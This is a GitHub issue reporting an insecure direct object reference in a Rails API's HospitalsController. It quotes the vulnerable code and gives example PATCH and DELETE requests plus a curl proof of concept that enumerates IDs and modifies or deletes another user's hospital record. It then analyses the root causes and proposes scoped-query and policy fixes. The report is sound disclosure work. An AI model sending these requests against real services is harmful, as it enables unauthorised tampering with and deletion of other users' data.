generated from espoo-dev/rails_boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 1
Open
Description
CRITICAL: HospitalsController - IDOR in Update/Destroy Actions
Severity: CRITICAL
Vulnerability Type
Insecure Direct Object Reference (IDOR) - Horizontal Privilege Escalation
Summary
The HospitalsController allows any authenticated user to update or delete any hospital in the system by providing an arbitrary hospital ID. The controller fetches the hospital using an unscoped Find operation and the policy only checks if the user is authenticated, not if they have ownership.
Affected Endpoints
| Method | Endpoint | Action | Vulnerability |
|---|---|---|---|
| PATCH/PUT | /api/v1/hospitals/:id |
update | Any user can modify any hospital |
| DELETE | /api/v1/hospitals/:id |
destroy | Any user can delete any hospital |
Vulnerable Code
app/controllers/api/v1/hospitals_controller.rb
# Lines 26-35: Update action
def update
authorize(hospital) # Policy only checks user.present?
result = Hospitals::Update.result(id: hospital.id.to_s, attributes: hospital_params)
if result.success?
render json: result.hospital, status: :ok
else
render json: result.hospital.errors, status: :unprocessable_entity
end
end
# Lines 37-46: Destroy action
def destroy
authorize(hospital) # Policy only checks user.present?
result = Hospitals::Destroy.result(id: hospital.id.to_s)
if result.success?
deleted_successfully_render(result.hospital)
else
render json: result.error, status: :unprocessable_entity
end
end
# Lines 50-52: Unscoped hospital finder
def hospital
@hospital ||= Hospitals::Find.result(id: params[:id]).hospital
endAttack Vector
HTTP Request - Update Hospital
PATCH /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
Content-Type: application/json
{
"name": "Attacker Controlled Name",
"address": "Attacker Controlled Address"
}HTTP Request - Delete Hospital
DELETE /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...cURL Proof of Concept
# Get authentication token (assumes you have valid credentials)
TOKEN="your_valid_api_token"
# List all hospitals to enumerate IDs
curl -X GET "http://localhost:3000/api/v1/hospitals" \
-H "Authorization: Bearer $TOKEN"
# Exploit: Update hospital with ID 1 (may belong to another user or system)
curl -X PATCH "http://localhost:3000/api/v1/hospitals/1" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"COMPROMISED","address":"Attacker Address"}'
# Exploit: Delete hospital with ID 1
curl -X DELETE "http://localhost:3000/api/v1/hospitals/1" \
-H "Authorization: Bearer $TOKEN"Root Cause Analysis
1. Unscoped Database Query
The hospital method uses Hospitals::Find.result(id: params[:id]) which internally calls:
# app/operations/hospitals/find.rb
def call
self.hospital = Hospital.find(id) # Fetches ANY hospital, no user filtering
end2. Weak Authorization Policy
# app/policies/hospital_policy.rb
def update?
user.present? # Only checks authentication, not authorization
end
def destroy?
user.present? # Only checks authentication, not authorization
end3. Hospital Model Has No User Association
# app/models/hospital.rb
class Hospital < ApplicationRecord
acts_as_paranoid
has_many :event_procedures, dependent: :destroy
# NOTE: No belongs_to :user - hospitals are global resources
endSecure Pattern Comparison
Current Vulnerable Pattern
def hospital
@hospital ||= Hospitals::Find.result(id: params[:id]).hospital
endSecure Pattern Used in MedicalShiftRecurrencesController
# app/controllers/api/v1/medical_shift_recurrences_controller.rb:54-59
def set_recurrence
@recurrence = current_user.medical_shift_recurrences
.where(deleted_at: nil)
.find(params[:id]) # Scoped to current user
rescue ActiveRecord::RecordNotFound
render json: { error: "Recurrence not found" }, status: :not_found
endRemediation
If Hospitals Should Be User-Scoped
# app/controllers/api/v1/hospitals_controller.rb
private
def hospital
@hospital ||= current_user.hospitals.find(params[:id])
rescue ActiveRecord::RecordNotFound
render json: { error: "Hospital not found" }, status: :not_found
endIf Hospitals Are Global But Should Have Restricted Access
# app/policies/hospital_policy.rb
def update?
user.admin?
end
def destroy?
user.admin? && !record.event_procedures.exists?
endImpact on Dependent Resources
When a hospital is modified or deleted, it affects:
-
EventProcedures -
Hospital has_many :event_procedures- All event procedures referencing the hospital will have modified/deleted hospital data
- With
acts_as_paranoid, soft deletion setsdeleted_atbut records remain
-
Data Integrity
- Medical records may reference incorrect hospital information
- Audit trails may become inconsistent
Related Vulnerabilities
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels